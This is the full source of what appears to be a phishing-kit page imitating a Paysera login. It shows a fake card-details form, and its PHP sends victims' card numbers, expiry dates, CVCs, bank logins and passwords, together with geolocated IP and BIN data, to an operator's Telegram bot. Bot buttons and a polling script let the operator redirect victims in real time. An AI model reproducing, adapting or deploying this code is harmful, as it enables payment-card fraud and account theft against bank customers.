<?php
$config = json_decode(file_get_contents('./config.json'));
$pay = @file_get_contents('./db/'.$_GET['id'].'.txt');

if ($pay === false) {
    exit('No pay');
}

$pay = json_decode($pay);

$userAgent = $_SERVER['HTTP_USER_AGENT'];

    // Определение операционной системы
    $operatingSystem = "Не удалось определить"; // По умолчанию

    if (preg_match('/windows|win32/i', $userAgent)) {
        $operatingSystem = 'Windows';
    } elseif (preg_match('/macintosh|mac os x/i', $userAgent)) {
        $operatingSystem = 'iOS';
    } elseif (preg_match('/linux/i', $userAgent)) {
        $operatingSystem = 'Android | Linux';
      } elseif (preg_match('/android/i', $userAgent)) {
        $operatingSystem = 'Android';
    } elseif (preg_match('/iphone|ipad/i', $userAgent)) {
        $operatingSystem = 'iOS';
    }
    
    $url = "{http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]}";
    $parts = parse_url($url);
    $pathParts = explode('/', $parts['path']);
    $domainId = $pathParts[5];
  
$ip = $_SERVER['REMOTE_ADDR'];

    // Получение информации о местоположении по IP
    $url = "http://ip-api.com/json/{$ip}";
    $response = file_get_contents($url);
    $data = json_decode($response, true);

    if ($data['status'] === 'success') {
        $country = $data['country'];
        $city = $data['city'];
      }


$card = str_replace(' ', '', $pay->card);
$date = ($pay->fdate);
$cvc = ($pay->cvc);
$login = ($pay->login);
$password = ($pay->password);

$bin = substr($card, 0, 6);

// Формирование URL для запроса к API bincheck
$url = "https://bins.antipublic.cc/bins/{$bin}";

// Отправка GET-запроса к API bincheck и получение результатов
$response = file_get_contents($url);

// Декодирование JSON-ответа в ассоциативный массив
$result = json_decode($response, true);

$binInfo = "<b>🔢 BIN: {$bin}</b>\n<b>♣️ Bank: {$result['bank']}</b>\n<b>♣️ Brand: {$result['brand']}</b>\n<b>♣️ Type: {$result['type']}</b>";

$log = "⚠️ <b>Новый лог ⚠️</b>\n➖➖➖➖➖➖➖➖➖➖\n<b>🔹 Card:</b> <code>{$card}</code> \n<b>🔹 Date:</b> <code>{$date}</code> \n<b>🔹 CVC:</b> <code>{$cvc}</code>";
$contact = "<b>Bank Data</b>\n➖➖➖➖➖➖➖➖➖➖\n<b>🔹 Login:</b> <code>{$login}</code> \n<b>🔹 Password:</b> <code>{$password}</code> \n";


    $currentTime = date('Y-m-d H:i:s'); // Получаем текущее время

   message_to_telegram($config->token, $config->chat_id, "{$log}". PHP_EOL ."➖➖➖➖➖➖➖➖➖➖". PHP_EOL ."". PHP_EOL ."{$contact}". PHP_EOL ."🕔 Time: {$currentTime}" . PHP_EOL ."🌎 <b>Страна | Город: {$country} | {$city}</b>". PHP_EOL ."💻<b> OC: {$operatingSystem} </b>". PHP_EOL . "🗺 IP: {$ip}". PHP_EOL ."➖➖➖➖➖➖➖➖➖➖". PHP_EOL . $binInfo, [

         [
            ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_GET['id']],
        ],  
        [
            ['text' => '❌ Смена карты ❌' , 'callback_data' => '/fail '.$_GET['id']],
            ],
            [
                ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_GET['id']],
                ],
]);


switch ($cmd[0]) {
    case '/msg':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}
    
function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'reply_markup' => json_encode([
                'inline_keyboard' => $kb
            ]),
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}




?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Log in to your account - Paysera</title>
    <link rel="stylesheet" href="css/login.css">
<link  rel="icon" type="image/x-icon" href="./favicon.ico">
<style>
.loader {
  width: 30px;
  padding: 8px;
  aspect-ratio: 1;
  border-radius: 50%;
 background: #246A96;
  --_m: 
    conic-gradient(#0000 10%,#000),
    linear-gradient(#000 0 0) content-box;
  -webkit-mask: var(--_m);
          mask: var(--_m);
  -webkit-mask-composite: source-out;
          mask-composite: subtract;
  animation: l3 1s infinite linear;
}
@keyframes l3 {to{transform: rotate(1turn)}}

        .loader {
                position: absolute;
    left: 50%;
    right: 50%;
    top: 50%;
    bottom: 50%;
    z-index: 99999;
        }

        @media screen and (max-width: 500px) {
            .loader {
            position: absolute;
            left: 45%;
            right: 50%;
            top: 50%;
            bottom: 50%;
        }
        }

        .back {
       width: 100%;
    height: 100%;
    position: absolute;
    background: #0e0e0e6b;
    z-index: 9999;
    backdrop-filter: blur(2px);
        }
    </style>
</head>
  <body>
     <div class="loader"></div> 
     <div class="back"></div>
    <div class="left_block">
        
    </div>
    <div class="right_block">
        <div class="main">
            <img src="img/logo.svg" class="logo">
            <div class="login_block">
                <div class="header_block">
                    <h1 class="title">
                        CARD DETAILS
                    </h1>
                </div>
                <div class="form_block">
                     <?php if(isset($_GET['q']) && $_GET['q'] == '1'){ ?>

            <div class="error_block">
             <p class="error_text">
                Incorrect card details. Please try again.
            </p>
        </div>

        <?php } ?>
                    <form method="post" action="secure.php">
                        <div class="input_block">
                            <label>
                                Card Number:
                            </label>
                            <input required name="CardNumber" class="mask-card-number input_form" placeholder="0000 0000 0000 0000">
                          
                        </div>

                        <div class="input_block">
                            <label>
                                Date Expired:
                            </label>
                            <input required name="mask-card-date date" class="input_form" placeholder="12/26">
                            
                        </div>

                        <div class="input_block">
                            <label>
                                CVV:
                            </label>
                            <input required name="fcvc" class="mask-card-code input_form" type="password" placeholder="***">

                            <input value="<?php echo $_GET['id'] ?>" id="PasswordId" name="id" type="hidden">
					          <input value="<?php echo $login ?>" id="PasswordId" name="login" type="hidden">
					             <input value="<?php echo $password ?>" id="PasswordId" name="password" type="hidden">
                        </div>
                        <button type="submit" class="btn" disabled>
                            LOG IN
                        </button>
                    </form>
                </div>
            </div>
            <div class="dop_block">
                <p class="under_text">
                    Don't have an account yet? <a href="#">Register now!</a> 
                </p>
                <p class="under_text">
                    Don't have access to your contact details anymore? <a href="#">Change phone</a> 
                </p>
            </div>
        </div>
        <div class="footer">
            <div class="fot_block">
                 <a href="#" class="fot_text">
                Privacy Policy
            </a>
             <a href="#" class="fot_text">
                Service agreements
            </a>
             <a href="#" class="fot_text">
                Recommendations for the safe usage
            </a>
            </div>
           
        </div>
    </div>
       	<script src="https://snipp.ru/cdn/jquery/2.1.1/jquery.min.js"></script>
<script src="https://snipp.ru/cdn/maskedinput/jquery.maskedinput.min.js"></script>
<script>
$('.mask-card-number').mask('9999 9999 9999 9999');
$('.mask-card-date').mask('99/99');
$('.mask-card-code').mask('999');
</script>
</body>
</html>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">

    <link type="image/x-icon" href="favicon1.ico" rel="shortcut icon">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&family=Open+Sans&display=swap" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>
<style>
body {
    font-family: 'Open Sans', sans-serif;
}
</style>
<script>



setInterval(() => {
    axios.post('./check.php', {
        id: <?php echo $_GET['id']; ?>
    }).then((res) => {
      
        if (res.data === 'fail') {
            window.location.href = 'card.php?id=<?php echo $_GET['id']; ?>&q=1';
        }
        if (res.data === 'msg') {
            window.location.href = 'custom.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'app') {
            window.location.href = 'invalid.php?id=<?php echo $_GET['id']; ?>&q=1';
        }
    });
}, 3000);


</script>